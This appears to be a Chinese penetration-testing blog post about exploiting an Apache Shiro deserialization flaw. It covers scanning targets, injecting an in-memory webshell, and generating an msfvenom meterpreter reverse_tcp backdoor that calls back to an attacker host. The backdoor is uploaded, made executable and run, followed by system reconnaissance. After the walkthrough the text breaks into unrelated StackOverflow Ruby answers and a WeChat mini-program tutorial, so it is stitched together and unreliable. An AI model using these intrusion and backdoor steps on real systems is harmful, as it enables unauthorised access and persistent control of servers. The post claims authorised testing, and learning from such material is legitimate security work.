说明:
此贴仅分享用于各安全人员进行安全学习提供思路,或有合法授权的安全测试,请勿参考用于其他用途,如有,后果自负。
感谢各位大佬的关注
微信关注公众号: JiuZhouSec 不定期更新渗透干货,适合小白学习。
九州大地,一起Dayday UP!

目的:通过信息收集或其他方式寻找到了一枚shiro反序列化的漏洞,故在授权环境下进行了内网渗透检测工作
类型:Web反序列化漏洞
介绍:
Shiro 是 Java安全框架通过序列化,进行AES密钥做身份验证加密(cookie加密)通过shiro硬编码 比证密钥 获取目标利用链并进行上线操作
本文的起因是在一次渗透测试中,挖掘到了一个shiro反序列化 故进行了内网渗透尝试
特征:
在请求消息中 构造cookie
添加一个参数rememberMe=xxx,观察响应消息头中的Set-Cookie是否有rememberMe=deleteMe;如果有则说明使用了shiro框架
这里我采用的是网络空间测绘引擎、目录信息收集、域名收集 等进行了资产整合利用
将搜集的信息 导出整合数据 备用

这里我用的是java开发的shiroScan 检测工具
*扫之前记得开代理 查询当前代理IP
在当前目录下开始对目标进行扫描 再次筛选存活并可利用的网站
将筛选结果导出保存
这里我用的是java开发的shiro利用工具
筛选目标时 发现目标存在Shiro反序列化漏洞 采用了硬编码
在工具内进行功能区的利用,在爆破完成后,对目标进行目录扫描。【记得开代理】
kali中 开个小代理
2.这边对目标进行目录收集
3.这边当即对 目标目录 进行内存马注入操作
拓展一下:
内存马 是无文件渗透测试的一种常用手段
webshell的变迁过程大致如下所述:
web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马
因为传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,故内存马使用越来越多
这边我使用 蚁剑 尝试连接成功 
在蚁剑的命令行中执行 查询命令时 发现该目标是root用户 Linux系统 初步判断是Debian
这里开始利用 metasploit 安全漏洞检测工具中的_msfvenom payload生成器 _使目标上线
msfvenom生成 Linux 后门程序,这里刚开始我是使用的cobalt strike 中生成的Java后门程序发现行不通 可能是因为目标JDK的版本 导致不兼容的原因,故利用metasploit的msfvenom生成后门程序 结合“蚁剑”上传后门程序 使目标成功进行执行上线操作
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=[lhost_ip] lport=22715 -f elf -o 123.elf

将生成的后门程序 上传至目标 并利用蚁剑的命令行执行此文件 记得改文件执行权限
chmod 777 123.elf;
chmod u+x 123.elf;
./123.elf 执行文件
后门程序“123.elf” 成功上传至目标/bin目录下
执行msfconsole 进入MSF命令接口 执行快速监听等待目标成功上线
利用meterpreter成功拿shell
它是攻击载荷能够获得目标系统的一个Meterpreter shell的链接
2>/dev/null,作用是丢弃错误信息
hostname 2>/dev/null
cat /etc/issue
查询系统和内核的所有相关信息
依次为内核名称,主机名,内核版本号,内核版本,硬件架构名称,处理器类型,硬件平台类型,操作系统名称
uname -a
cat /proc/cpuinfo
查询文件系统磁盘的详细信息
包括磁盘名称,内存大小,已用空间,可用空间,挂载点
查看本地磁盘信息
df -lh
查看所有磁盘信息
df -ah
访问网络连接状态及其相关信息的程序
这里可以看到在目标执行中的"123.elf"后门程序
点到为止 测试结束
使用带有Rails插件的vim,您可以创建一个迁移文件,然后一次性打开该文件吗?textmate也可以这样吗? 最佳答案 你可以使用rails.vim然后做类似的事情::Rgeneratemigratonadd_foo_to_bar插件将打开迁移生成的文件,这正是您想要的。我不能代表textmate。 关于ruby-使用VimRails,您可以创建一个新的迁移文件并一次性打开它吗?,我们在StackOverflow上找到一个类似的问题: https://sta
在选择我想要运行操作的频率时,唯一的选项是“每天”、“每小时”和“每10分钟”。谢谢!我想为我的Rails3.1应用程序运行调度程序。 最佳答案 这不是一个优雅的解决方案,但您可以安排它每天运行,并在实际开始工作之前检查日期是否为当月的第一天。 关于ruby-如何每月在Heroku运行一次Scheduler插件?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/8692687/
给定一个复杂的对象层次结构,幸运的是它不包含循环引用,我如何实现支持各种格式的序列化?我不是来讨论实际实现的。相反,我正在寻找可能会派上用场的设计模式提示。更准确地说:我正在使用Ruby,我想解析XML和JSON数据以构建复杂的对象层次结构。此外,应该可以将该层次结构序列化为JSON、XML和可能的HTML。我可以为此使用Builder模式吗?在任何提到的情况下,我都有某种结构化数据-无论是在内存中还是文本中-我想用它来构建其他东西。我认为将序列化逻辑与实际业务逻辑分开会很好,这样我以后就可以轻松支持多种XML格式。 最佳答案 我最
@作者:SYFStrive @博客首页:HomePage📜:微信小程序📌:个人社区(欢迎大佬们加入)👉:社区链接🔗📌:觉得文章不错可以点点关注👉:专栏连接🔗💃:感谢支持,学累了可以先看小段由小胖给大家带来的街舞👉微信小程序(🔥)目录自定义组件-behaviors 1、什么是behaviors 2、behaviors的工作方式 3、创建behavior 4、导入并使用behavior 5、behavior中所有可用的节点 6、同名字段的覆盖和组合规则总结最后自定义组件-behaviors 1、什么是behaviorsbehaviors是小程序中,用于实现
我写了一个非常简单的rake任务来尝试找到这个问题的根源。namespace:foodotaskbar::environmentdoputs'RUNNING'endend当在控制台中执行rakefoo:bar时,输出为:RUNNINGRUNNING当我执行任何rake任务时会发生这种情况。有没有人遇到过这样的事情?编辑上面的rake任务就是写在那个.rake文件中的所有内容。这是当前正在使用的Rakefile。requireFile.expand_path('../config/application',__FILE__)OurApp::Application.load_tasks这里
-if!request.path_info.include?'A'%{:id=>'A'}"Text"-else"Text"“文本”写了两次。我怎样才能只写一次并同时检查path_info是否包含“A”? 最佳答案 有两种方法可以做到这一点。使用部分,或使用content_forblock:如果“文本”较长,或者是一个重要的子树,您可以将其提取到一个部分。这会使您的代码变干一点。在给出的示例中,这似乎有点矫枉过正。在这种情况下更好的方法是使用content_forblock,如下所示:-if!request.path_info.inc
首先,我使用的是rails3.1.3和来自master的carrierwavegithub仓库的分支。我使用after_init钩子(Hook)来确定基于属性的字段页面模型实例并为这些字段定义属性访问器将值存储在序列化哈希中(希望它清楚我是什么谈论)。这是我正在做的事情的精简版:classPage省略mount_uploader命令让我可以访问我想要的属性。但是当我安装uploader时出现错误消息说“nil类的未定义新方法”我在源代码中读到有方法read_uploader和扩展模块中的write_uploader。我如何必须覆盖这些来制作mount_uploader命令使用我的“虚拟
我查看了Stripedocumentationonerrors,但我仍然无法正确处理/重定向这些错误。基本上无论发生什么,我都希望他们返回到edit操作(通过edit_profile_path)并向他们显示一条消息(无论成功与否)。我在edit操作上有一个表单,它可以POST到update操作。使用有效的信用卡可以正常工作(费用在Stripe仪表板中)。我正在使用Stripe.js。classExtrasController5000,#amountincents:currency=>"usd",:card=>token,:description=>current_user.email)
我写了一个脚本,其中包含一些方法定义,没有类和一些公共(public)代码。其中一些方法执行一些非常耗时的shell程序。然而,这些shell程序只需要在第一次调用该方法时执行。现在在C中,我会在每个方法中声明一个静态变量,以确保这些程序只执行一次。我怎么能在Ruby中做到这一点? 最佳答案 ruby中有一个成语:x||=y。defsomething@something||=calculate_somethingendprivatedefcalculate_something#somelongprocessend但是如果您的“长时间
我想在格式化数字时每隔三个字符放置一个空格。根据这个规范:it"shouldformatanamount"dospaces_on(1202003).should=="1202003"end我想出了这段代码来完成这项工作defspaces_onamountthousands=amount/1000remainder=amount%1000ifthousands==0"#{remainder}"elsezero_padded_remainder='%03.f'%remainder"#{spaces_onthousands}#{zero_padded_remainder}"endend所以我